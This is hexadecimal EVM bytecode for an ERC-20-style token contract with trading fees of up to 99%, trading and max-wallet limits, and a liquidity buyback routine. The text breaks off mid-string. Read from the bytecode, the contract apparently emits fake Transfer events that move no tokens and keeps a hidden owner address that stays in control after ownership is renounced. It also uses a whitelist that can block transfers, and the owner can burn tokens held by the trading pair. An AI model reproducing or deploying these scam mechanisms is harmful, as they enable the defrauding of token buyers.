fffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b6113406129b0565b633b9aca006103e8600161135261124e565b61135c9190614f4d565b6113669190614f1c565b6113709190614f1c565b8110156113b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a990614db6565b60405180910390fd5b670de0b6b3a7640000816113c69190614f4d565b600b8190555050565b60006113dc848484612a2e565b61149d846113e86127dd565b611498856040518060600160405280602881526020016158f460289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061144e6127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b6127e5565b600190509392505050565b6114b06129b0565b60005b838390508110156115a5578383828181106114f7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061150c919061426a565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161158a9190614dd6565b60405180910390a3808061159d906150cb565b9150506114b3565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006009905090565b601560009054906101000a900460ff1681565b600061168f6115f36127dd565b8461168a85600360006116046127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f90919063ffffffff16565b6127e5565b6001905092915050565b6116a16129b0565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601b5481565b601560029054906101000a900460ff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117eb6129b0565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6118b16129b0565b6102588310156118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ed90614b56565b60405180910390fd5b6103e88211158015611909575060008210155b611948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193f90614bf6565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b600061197f6129b0565b6000601560006101000a81548160ff0219169083151502179055506001905090565b6119a96129b0565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b611a386129b0565b826018819055508160198190555080601a81905550601a54601954601854611a609190614ec6565b611a6a9190614ec6565b60178190555060196017541115611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad90614d96565b60405180910390fd5b505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611b196129b0565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b611bb56129b0565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611be190615099565b80601f0160208091040260200160405190810160405280929190818152602001828054611c0d90615099565b8015611c5a5780601f10611c2f57610100808354040283529160200191611c5a565b820191906000526020600020905b815481529060010190602001808311611c3d57829003601f168201915b5050505050905090565b601a5481565b611c726129b0565b611c7c82826135b9565b5050565b60105481565b60215481565b601e5481565b611c9a6129b0565b611ca48282611e94565b5050565b6000611d6b611cb56127dd565b84611d668560405180606001604052806025815260200161591c6025913960036000611cdf6127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b6127e5565b6001905092915050565b60145481565b6000611d8f611d886127dd565b8484612a2e565b6001905092915050565b611da16129b0565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e9c6129b0565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611f936129b0565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120309190614a5e565b60405180910390a25050565b6120446129b0565b82601c8190555081601d8190555080601e81905550601e54601d54601c5461206c9190614ec6565b6120769190614ec6565b601b819055506063601b5411156120c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b990614bd6565b60405180910390fd5b505050565b6120cf6129b0565b633b9aca006103e860056120e161124e565b6120eb9190614f4d565b6120f59190614f1c565b6120ff9190614f1c565b811015612141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213890614b96565b60405180910390fd5b633b9aca00816121519190614f4d565b600a8190555050565b6121626129b0565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506121d0600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016119a1565b50565b602360009054906101000a900460ff1681565b600b5481565b60006121f66129b0565b620186a0600161220461124e565b61220e9190614f4d565b6122189190614f1c565b82101561225a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225190614c16565b60405180910390fd5b6103e8600a61226761124e565b6122719190614f4d565b61227b9190614f1c565b8211156122bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b490614cb6565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600061236a6129b0565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b61239a6129b0565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614b16565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b60006124dd6129b0565b600f546010546124ed9190614ec6565b421161252e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252590614d36565b60405180910390fd5b6103e8821115612573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256a90614cf6565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125d79190614a43565b60206040518083038186803b1580156125ef57600080fd5b505afa158015612603573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061262791906144c1565b90506000612652612710612644868561378590919063ffffffff16565b61380090919063ffffffff16565b9050600081111561268d5761268c600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead8361384a565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561275b57600080fd5b505af115801561276f573d6000803e3d6000fd5b5050505060019350505050919050565b600080828461278e9190614ec6565b9050838110156127d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ca90614b76565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284c90614d56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128bc90614b36565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129a39190614dd6565b60405180910390a3505050565b6129b86127dd565b73ffffffffffffffffffffffffffffffffffffffff166129d6613ae3565b73ffffffffffffffffffffffffffffffffffffffff1614612a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2390614c96565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9590614d16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0590614ab6565b60405180910390fd5b6000811415612b2857612b238383600061384a565b613550565b601560009054906101000a900460ff161561313f57612b45611b58565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612bb35750612b83611b58565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bec5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c26575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c3f5750600960149054906101000a900460ff16155b1561313e57601560019054906101000a900460ff16612d3957602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612cf95750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2f90614af6565b60405180910390fd5b5b602360009054906101000a900460ff1615612f0357612d56611b58565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612ddd57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612e375750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612f025743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb490614c56565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612ff657600b54811115612f99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9090614c36565b60405180910390fd5b600a54612fa58361179a565b82612fb09190614ec6565b1115612ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fe890614d76565b60405180910390fd5b61313d565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309157600b5481111561308c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308390614bb6565b60405180910390fd5b61313c565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661313b57600a546130ee8361179a565b826130f99190614ec6565b111561313a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161313190614d76565b60405180910390fd5b5b5b5b5b5b600061314a3061179a565b90506000600c54821015905080801561316f5750601560029054906101000a900460ff165b80156131885750600960149054906101000a900460ff16155b80156131de5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132345750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613278576001600960146101000a81548160ff02191690831515021790555061325c613af7565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156132a15750601260009054906101000a900460ff165b156132b1576132af85613c7f565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133675750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561337157600090505b60008115613540576000601b54111561344c576133ac606461339e601b548861378590919063ffffffff16565b61380090919063ffffffff16565b9050601b54601d54826133bf9190614f4d565b6133c99190614f1c565b602060008282546133da9190614ec6565b92505081905550601b54601e54826133f29190614f4d565b6133fc9190614f1c565b6021600082825461340d9190614ec6565b92505081905550601b54601c54826134259190614f4d565b61342f9190614f1c565b601f60008282546134409190614ec6565b9250508190555061351c565b6000601754111561351b5761347f60646134716017548861378590919063ffffffff16565b61380090919063ffffffff16565b9050601754601954826134929190614f4d565b61349c9190614f1c565b602060008282546134ad9190614ec6565b92505081905550601754601a54826134c59190614f4d565b6134cf9190614f1c565b602160008282546134e09190614ec6565b92505081905550601754601854826134f89190614f4d565b6135029190614f1c565b601f60008282546135139190614ec6565b925050819055505b5b60008111156135315761353087308361384a565b5b808561353d9190614fa7565b94505b61354b87878761384a565b505050505b505050565b600083831115829061359d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135949190614a94565b60405180910390fd5b50600083856135ac9190614fa7565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362090614cd6565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156136b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136a790614ad6565b60405180910390fd5b816004546136be9190614fa7565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137139190614fa7565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516137789190614dd6565b60405180910390a3505050565b60008083141561379857600090506137fa565b600082846137a69190614f4d565b90508284826137b59190614f1c565b146137f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137ec90614c76565b60405180910390fd5b809150505b92915050565b600061384283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613d4c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156138ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138b190614d16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561392a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161392190614ab6565b60405180910390fd5b613935838383613daf565b6139a1816040518060600160405280602681526020016158ce60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a3681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613ad69190614dd6565b60405180910390a3505050565b600080613aee613db4565b90508091505090565b6000613b023061179a565b90506000602154601f54602054613b199190614ec6565b613b239190614ec6565b9050600080831480613b355750600082145b15613b4257505050613c7d565b6014600c54613b519190614f4d565b831115613b6a576014600c54613b679190614f4d565b92505b600060028360205486613b7d9190614f4d565b613b879190614f1c565b613b919190614f1c565b90506000613ba88286613e5890919063ffffffff16565b90506000479050613bb882613ea2565b6000613bcd8247613e5890919063ffffffff16565b905060006020819055506000601f819055506000602181905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613c2d90614a2e565b60006040518083038185875af1925050503d8060008114613c6a576040519150601f19603f3d011682016040523d82523d6000602084013e613c6f565b606091505b505080955050505050505050505b565b6000803073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401613cbb9190614a43565b60206040518083038186803b158015613cd357600080fd5b505afa158015613ce7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d0b91906144c1565b90506000613d246011548361277f90919063ffffffff16565b9050613d2f84614160565b613d415760008114613d4057600080fd5b5b600192505050919050565b60008083118290613d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613d8a9190614a94565b60405180910390fd5b5060008385613da29190614f1c565b9050809150509392505050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614613e2f5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16613e53565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b6000613e9a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613555565b905092915050565b6000600267ffffffffffffffff811115613ee5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015613f135781602001602082028036833780820191505090505b5090503081600081518110613f51577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613ff157600080fd5b505afa158015614005573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906140299190614293565b81600181518110614063577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506140c8307f0000000000000000000000000000000000000000000000000000000000000000846127e5565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161412a959493929190614df1565b600060405180830381600087803b15801561414457600080fd5b505af1158015614158573d6000803e3d6000fd5b505050505050565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000813590506141c681615888565b92915050565b6000815190506141db81615888565b92915050565b60008083601f8401126141f357600080fd5b8235905067ffffffffffffffff81111561420c57600080fd5b60208301915083602082028301111561422457600080fd5b9250929050565b60008135905061423a8161589f565b92915050565b60008135905061424f816158b6565b92915050565b600081519050614264816158b6565b92915050565b60006020828403121561427c57600080fd5b600061428a848285016141b7565b91505092915050565b6000602082840312156142a557600080fd5b60006142b3848285016141cc565b91505092915050565b600080604083850312156142cf57600080fd5b60006142dd858286016141b7565b92505060206142ee858286016141b7565b9150509250929050565b60008060006060848603121561430d57600080fd5b600061431b868287016141b7565b935050602061432c868287016141b7565b925050604061433d86828701614240565b9150509250925092565b6000806040838503121561435a57600080fd5b6000614368858286016141b7565b92505060206143798582860161422b565b9150509250929050565b6000806040838503121561439657600080fd5b60006143a4858286016141b7565b92505060206143b585828601614240565b9150509250929050565b6000806000604084860312156143d457600080fd5b600084013567ffffffffffffffff8111156143ee57600080fd5b6143fa868287016141e1565b9350935050602061440d8682870161422b565b9150509250925092565b60008060006040848603121561442c57600080fd5b600084013567ffffffffffffffff81111561444657600080fd5b614452868287016141e1565b9350935050602061446586828701614240565b9150509250925092565b60006020828403121561448157600080fd5b600061448f8482850161422b565b91505092915050565b6000602082840312156144aa57600080fd5b60006144b884828501614240565b91505092915050565b6000602082840312156144d357600080fd5b60006144e184828501614255565b91505092915050565b6000806000606084860312156144ff57600080fd5b600061450d86828701614240565b935050602061451e86828701614240565b925050604061452f8682870161422b565b9150509250925092565b60008060006060848603121561454e57600080fd5b600061455c86828701614240565b935050602061456d86828701614240565b925050604061457e86828701614240565b9150509250925092565b600061459483836145a0565b60208301905092915050565b6145a981614fdb565b82525050565b6145b881614fdb565b82525050565b60006145c982614e76565b6145d38185614e99565b93506145de83614e66565b8060005b8381101561460f5781516145f68882614588565b975061460183614e8c565b9250506001810190506145e2565b5085935050505092915050565b61462581614fed565b82525050565b61463481615030565b82525050565b61464381615054565b82525050565b600061465482614e81565b61465e8185614eb5565b935061466e818560208601615066565b614677816151a1565b840191505092915050565b600061468f602383614eb5565b915061469a826151b2565b604082019050919050565b60006146b2602283614eb5565b91506146bd82615201565b604082019050919050565b60006146d5601683614eb5565b91506146e082615250565b602082019050919050565b60006146f8602683614eb5565b915061470382615279565b604082019050919050565b600061471b602283614eb5565b9150614726826152c8565b604082019050919050565b600061473e603383614eb5565b915061474982615317565b604082019050919050565b6000614761601b83614eb5565b915061476c82615366565b602082019050919050565b6000614784602483614eb5565b915061478f8261538f565b604082019050919050565b60006147a7603683614eb5565b91506147b2826153de565b604082019050919050565b60006147ca601d83614eb5565b91506147d58261542d565b602082019050919050565b60006147ed603083614eb5565b91506147f882615456565b604082019050919050565b6000614810603583614eb5565b915061481b826154a5565b604082019050919050565b6000614833603583614eb5565b915061483e826154f4565b604082019050919050565b6000614856604983614eb5565b915061486182615543565b606082019050919050565b6000614879602183614eb5565b9150614884826155b8565b604082019050919050565b600061489c602083614eb5565b91506148a782615607565b602082019050919050565b60006148bf603283614eb5565b91506148ca82615630565b604082019050919050565b60006148e2602183614eb5565b91506148ed8261567f565b604082019050919050565b6000614905602a83614eb5565b9150614910826156ce565b604082019050919050565b6000614928602583614eb5565b91506149338261571d565b604082019050919050565b600061494b602083614eb5565b91506149568261576c565b602082019050919050565b600061496e600083614eaa565b915061497982615795565b600082019050919050565b6000614991602483614eb5565b915061499c82615798565b604082019050919050565b60006149b4601383614eb5565b91506149bf826157e7565b602082019050919050565b60006149d7601d83614eb5565b91506149e282615810565b602082019050919050565b60006149fa602f83614eb5565b9150614a0582615839565b604082019050919050565b614a1981615019565b82525050565b614a2881615023565b82525050565b6000614a3982614961565b9150819050919050565b6000602082019050614a5860008301846145af565b92915050565b6000602082019050614a73600083018461461c565b92915050565b6000602082019050614a8e600083018461462b565b92915050565b60006020820190508181036000830152614aae8184614649565b905092915050565b60006020820190508181036000830152614acf81614682565b9050919050565b60006020820190508181036000830152614aef816146a5565b9050919050565b60006020820190508181036000830152614b0f816146c8565b9050919050565b60006020820190508181036000830152614b2f816146eb565b9050919050565b60006020820190508181036000830152614b4f8161470e565b9050919050565b60006020820190508181036000830152614b6f81614731565b9050919050565b60006020820190508181036000830152614b8f81614754565b9050919050565b60006020820190508181036000830152614baf81614777565b9050919050565b60006020820190508181036000830152614bcf8161479a565b9050919050565b60006020820190508181036000830152614bef816147bd565b9050919050565b60006020820190508181036000830152614c0f816147e0565b9050919050565b60006020820190508181036000830152614c2f81614803565b9050919050565b60006020820190508181036000830152614c4f81614826565b9050919050565b60006020820190508181036000830152614c6f81614849565b9050919050565b60006020820190508181036000830152614c8f8161486c565b9050919050565b60006020820190508181036000830152614caf8161488f565b9050919050565b60006020820190508181036000830152614ccf816148b2565b9050919050565b60006020820190508181036000830152614cef816148d5565b9050919050565b60006020820190508181036000830152614d0f816148f8565b9050919050565b60006020820190508181036000830152614d2f8161491b565b9050919050565b60006020820190508181036000830152614d4f8161493e565b9050919050565b60006020820190508181036000830152614d6f81614984565b9050919050565b60006020820190508181036000830152614d8f816149a7565b9050919050565b60006020820190508181036000830152614daf816149ca565b9050919050565b60006020820190508181036000830152614dcf816149ed565b9050919050565b6000602082019050614deb6000830184614a10565b92915050565b600060a082019050614e066000830188614a10565b614e13602083018761463a565b8181036040830152614e2581866145be565b9050614e3460608301856145af565b614e416080830184614a10565b9695505050505050565b6000602082019050614e606000830184614a1f565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000614ed182615019565b9150614edc83615019565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614f1157614f10615114565b5b828201905092915050565b6000614f2782615019565b9150614f3283615019565b925082614f4257614f41615143565b5b828204905092915050565b6000614f5882615019565b9150614f6383615019565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614f9c57614f9b615114565b5b828202905092915050565b6000614fb282615019565b9150614fbd83615019565b925082821015614fd057614fcf615114565b5b828203905092915050565b6000614fe682614ff9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061503b82615042565b9050919050565b600061504d82614ff9565b9050919050565b600061505f82615019565b9050919050565b60005b83811015615084578082015181840152602081019050615069565b83811115615093576000848401525b50505050565b600060028204905060018216806150b157607f821691505b602082108114156150c5576150c4615172565b5b50919050565b60006150d682615019565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561510957615108615114565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f63616e6e6f7420736574206275796261636b206d6f7265206f6674656e20746860008201527f616e206576657279203130206d696e7574657300000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e2060008201527f302e352500000000000000000000000000000000000000000000000000000000602082015250565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b7f4d757374206b656570206665657320617420393925206f72206c657373